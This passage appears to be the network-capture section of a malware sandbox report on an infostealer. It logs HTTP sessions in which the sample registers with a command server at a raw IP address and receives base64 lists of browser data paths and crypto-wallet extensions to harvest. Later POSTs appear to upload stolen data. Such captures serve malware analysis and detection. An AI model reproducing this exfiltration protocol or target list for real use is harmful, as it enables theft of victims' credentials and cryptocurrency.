4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="mode"1------IDBKKKKKFBGDGDHIDBGH--
Aug 30, 2024 06:18:10.524704933 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Aug 30, 2024 06:18:10.524729013 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Aug 30, 2024 06:18:10.612874031 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 30, 2024 06:18:10.669220924 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="mode"2------JJJDGIECFCAKKFHIIIJE--
Aug 30, 2024 06:18:11.204472065 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 30, 2024 06:18:11.204492092 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Aug 30, 2024 06:18:11.204504967 CEST	128	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGN
Aug 30, 2024 06:18:11.210872889 CEST	1236	IN	Data Raw: 69 61 32 46 72 59 33 42 73 61 32 70 75 62 32 78 6e 59 6d 74 6b 5a 32 70 70 61 32 70 6c 5a 47 35 74 66 44 46 38 4d 48 77 77 66 46 52 79 64 58 4e 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 56 6e 61 6d 6c 6b 61 6d 4a 77 5a 32 78 70 59 32 68 6b 59 Data Ascii: ia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW
Aug 30, 2024 06:18:11.210884094 CEST	1236	IN	Data Raw: 73 62 32 6c 71 59 6e 42 76 62 47 56 70 59 57 31 68 66 44 46 38 4d 48 77 77 66 45 35 70 5a 32 68 30 62 48 6c 38 4d 58 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 Data Ascii: sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB8MHxMZWFwIENvc21vcy
Aug 30, 2024 06:18:11.210894108 CEST	128	IN	Data Raw: 78 66 44 42 38 4d 48 78 51 64 57 78 7a 5a 53 42 58 59 57 78 73 5a 58 51 67 51 32 68 79 62 32 31 70 64 57 31 38 4d 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a Data Ascii: xfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHwxfG1rcGVnamt
Aug 30, 2024 06:18:11.470870972 CEST	648	IN	Data Raw: 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 57 4e 72 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6d 62 47 74 74 5a 6d 68 6c 59 6d 56 6b 59 Data Ascii: ibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8MXxwZW5qbGRkamtqZ3Bua2xsYm
Aug 30, 2024 06:18:11.740374088 CEST	512	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAAKEGDBFIJJKFHCFB Host: 147.45.68.138 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 30 31 33 31 32 39 62 66 61 38 36 30 62 35 61 35 66 38 62 34 65 38 61 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 41 4b 45 47 44 42 46 49 4a 4a 4b 46 48 43 46 42 2d 2d 0d 0a Data Ascii: ------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------HIDAAKEGDBFIJJKFHCFBContent-Disposition: form-data; name="mode"21------HIDAAKEGDBFIJJKFHCFB--
Aug 30, 2024 06:18:12.293813944 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Aug 30, 2024 06:18:13.669620037 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF Host: 147.45.68.138 Content-Length: 7465 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:13.669684887 CEST	7465	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------EBAEBFIIECBGCB
Aug 30, 2024 06:18:14.345096111 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:18:15.131452084 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGH Host: 147.45.68.138 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:15.131479025 CEST	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 34 62 39 38 33 Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"a4b983013129bfa860b5a5f8b4e8aa51------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IIIDAKJDHJKFHI
Aug 30, 2024 06:18:15.641359091 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49801	188.114.97.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:18:10.856992006 CEST	285	OUT	GET /4Ak49WQH0GE3Nr.mp3 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: joxi.net Connection: Keep-Alive
Aug 30, 2024 06:18:11.573360920 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 30 Aug 2024 04:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Cache-Control: no-cache Vary: Accept-Language Vary: Accept-Language CF-Cache-Status: BYPASS Set-Cookie: js=QpDldIl5LkLq6WuNacY7rwfjeNMEZg50kWPvXbrvYmqkO0rlV1bMJcgMkkE0u4RiXcbS7dlCiP0N5KAbOWTEi3; path=/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1czbCMTQzhMLI9wUQ%2B1RaGOiNUajY04QvdkxBr%2Fv%2BPnxyGFIZgfF6ZIXpvaUCpWIAbRzsM4G51UgB7eLFZet2%2FiVXtBFNFJtkNRGeTKh%2BxZ4KmEU1Biufd8bBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb1f9b47f8f7c6f-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 33 34 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 74 94 cf 8e db 36 10 c6 ef 7e 0a 56 17 49 85 2c 7a b7 0e 90 d6 92 80 a4 09 0a f4 90 f4 90 1c 0a c3 28 b8 14 2d 73 57 16 15 92 5e af 91 0d b0 f1 06 41 8b 2d 10 a0 b9 f5 0d 7a 73 36 eb d6 89 ff 04 e8 13 0c 5f a1 4f 52 50 b2 9d 14 41 75 10 21 ce 37 3f 72 46 fc 18 7d 71 ef e1 b7 8f 7e fc e1 3e 1a e8 61 9e 34 a2 dd c0 48 9a 34 10 42 28 1a 32 4d 10 1d 10 a9 98 8e 9d 91 ee 37 6f 3b db 90 e6 3a 67 c9 f7 e2 8c a3 7f 2e 5e 23 73 09 37 b0 81 37 b0 86 99 79 85 e0 83 b9 80 0d bc 35 17 30 83 15 ac 60 86 e0 06 96 e6 15 32 cf e1 bd b9 80 05 ac cd cf b0 31 53 d8 c0 35 82 05 aa 92 57 30 b7 00 64 5e c0 0c de c1 b2 4a 5e 20 f8 00 1b 9b 38 37 53 58 44 b8 5e ba de 46 ce 8b 13 34 90 ac 1f 3b b8 4f 4e 39 15 45 c8 a9 70 90 64 79 ec a8 81 90 9a 8e 34 b2 f3 0e d2 93 92 c5 0e 1f 92 8c e1 b3 66 35 f7 29 a6 4e d1 93 9c a9 01 63 da d9 71 31 4d 8b f0 58 9c f1 50 8e 30 51 8a 69 85 a9 52 b8 dd 6a 87 54 29 27 69 d4 10 45 25 2f 75 4d f4 fa a3 82 6a 2e 0a 8f 07 2a 10 41 16 c8 80 04 43 ff 29 [TRUNCATED] Data Ascii: 34ct6~VI,z(-sW^A-zs6_ORPAu!7?rF}q~>a4H4B(2M7o;:g.^#s77y50`21S5W0d^J^ 87SXD^F4;ON9Epdy4f5)Ncq1MXP0QiRjT)'iE%/uMj.*AC)NAT=<:fTXvxWb:?O+`I\#5FCVh?`\|Y1G4UH%#
Aug 30, 2024 06:18:11.573374987 CEST	435	IN	Data Raw: 15 7a c2 0f f6 58 fb 0c 63 15 66 4c 6f c3 ea ee e4 11 c9 1e 90 21 f3 84 df 6d f5 3a 24 24 6a 52 d0 f8 a0 43 42 25 69 9c 75 86 61 49 24 2b f4 03 91 b2 90 17 8a 49 7d 97 f5 85 64 9e 2d b3 62 3f f3 bd 31 2f 52 31 0e 52 41 ab fd 05 6e dd 23 37 70 31 Data Ascii: zXcfLo!m:$$jRCB%iuaI$+I}d-b?1/R1RAn#7p1aVIv_~fsz4j}}ux;L'#.+]UI=L+R+)IN9W+FxG#\{t4"Xdrw9Q*vrqbp[mnzL+aa^Zang

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49809	147.45.68.138	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:18:32.315170050 CEST	88	OUT	GET / HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:33.439341068 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 30, 2024 06:18:33.442094088 CEST	436	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC Host: 147.45.68.138 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 31 34 35 35 44 42 38 42 39 39 37 33 33 37 30 38 35 37 36 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="hwid"C1455DB8B9973370857647-a33c7340-61ca------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------IDBGHDGHCGHCAAKFIIEC--
Aug 30, 2024 06:18:33.991920948 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 66 61 66 35 63 61 34 36 34 33 66 64 38 65 66 62 66 66 64 31 39 36 36 63 32 38 37 38 31 66 63 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|faf5ca4643fd8efbffd1966c28781fcd\|1\|1\|1\|0\|0\|50000\|10
